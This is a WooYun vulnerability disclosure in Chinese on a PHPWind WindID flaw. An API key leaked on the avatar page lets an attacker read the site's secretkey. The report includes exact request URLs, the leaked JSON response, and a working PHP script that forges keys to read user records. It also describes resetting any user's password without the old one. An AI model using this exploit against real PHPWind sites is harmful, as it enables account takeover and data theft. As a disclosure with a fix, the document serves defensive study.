WooYun-2014-72727:一个PHPWIND可拿shell的高危漏洞

漏洞作者: Map

来源:http://www.wooyun.org/bugs/wooyun-2014-072727

简要描述

如题。

详细说明

没想到PHPWIND犯了一个和PHPCMS一样的漏洞。

在src/applications/windidserver/api/controller/AppController.php内代码:

public function listAction() {

        $result = $this->_getAppDs()->getList();

        $this->output($result);

    }

如何获取可以访问接口的key?

查看用户上传头像页面就可以知道了:

/phpwind/src/windid/service/user/srv/WindidUserService.php

内的代码:

$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));

……

去头像页面查看一下源文件

http://localhost/phpwind/index.php?m=profile&c=avatar&_left=avatar

解出urldecode得:

http://localhost/phpwind/windid/index.php?m=api&c=avatar&a=doAvatar&uid=1&windidkey=f5b35f56c88695b9069e18ecaafad874&time=1408197299&clientid=1&type=flash&avatar=http://localhost/phpwind/windid/attachment/avatar/000/00/00/1.jpg?r=88418

去掉

&avatar=http://localhost/phpwind/windid/attachment/avatar/000/00/00/1.jpg?r=88418

然后记得,还需要POST一个uid等于undefined

把doAvatar换成list,avatar换成app得:

http://localhost/phpwind/windid/index.php?m=api&c=app&a=list&uid=1&windidkey=f5b35f56c88695b9069e18ecaafad874&time=1408197299&clientid=1&type=flash

POST:uid=undefined

得:

{"1":{"id":"1","name":"phpwind9.0","siteurl":"http:\/\/localhost\/phpwind","siteip":"","secretkey":"73e3dcdd733c7c3733c17273a624e162","apifile":"windid.php","charset":"gbk","issyn":"1","isnotify":"1"}}

拿到这个key,我可以做的事情太多了,用户体系内的所有事情我都可以做了。

漏洞证明

拿到这个key,我可以做的事情太多了,用户体系内的所有事情我都可以做了。

在官网测试了一下,拿到key后测试一下读取一个用户的资料:

<?php

$secretkey = '308c6c43a*****279dd61dd80e8d59bd';

$c = 'user';

$a = 'get';

$data = array('uid'=>'658925');

$time = time();

$key = appKey('1', time(), $secretkey, array('userid'=>658925), $data);

echo post('http://**.**.**.**/windid/index.php?m=api&c='.$c.'&a='.$a.'&windidkey='.$key.'&time='.$time .'&clientid=1&userid=658925',$data);

function post($uri,$data) {

    $ch = curl_init ();

    curl_setopt ( $ch, CURLOPT_URL, $uri );

    curl_setopt ( $ch, CURLOPT_POST, 1 );

    curl_setopt ( $ch, CURLOPT_HEADER, 0 );

    curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );

    curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );

    $return = curl_exec ( $ch );

    curl_close ( $ch );

    return $return;

}

function appKey($apiId, $time, $secretkey, $get, $post) {

    $array = array('m', 'c', 'a', 'windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token');

    $str = '';

    ksort($get);

    ksort($post);

    foreach ($get AS $k=>$v) {

        if (in_array($k, $array)) continue;

        $str .=$k.$v;

    }

    foreach ($post AS $k=>$v) {

        if (in_array($k, $array)) continue;

        $str .=$k.$v;

    }

    return md5(md5($apiId.'||'.$secretkey).$time.$str);

}

?>

{"uid":"658925","username":"phpwind","email":"fengyu@...","safecv":"5b4111de","regdate":"1143101940","regip":""}

在User的api内还有一个edit的接口,可以修改任意用户的密码,调用它,不填写old_password,将可以修改任意用户的密码,不会验证原密码的。

修复方案

不要轻信key,可以将m,a,c都加入key的运算。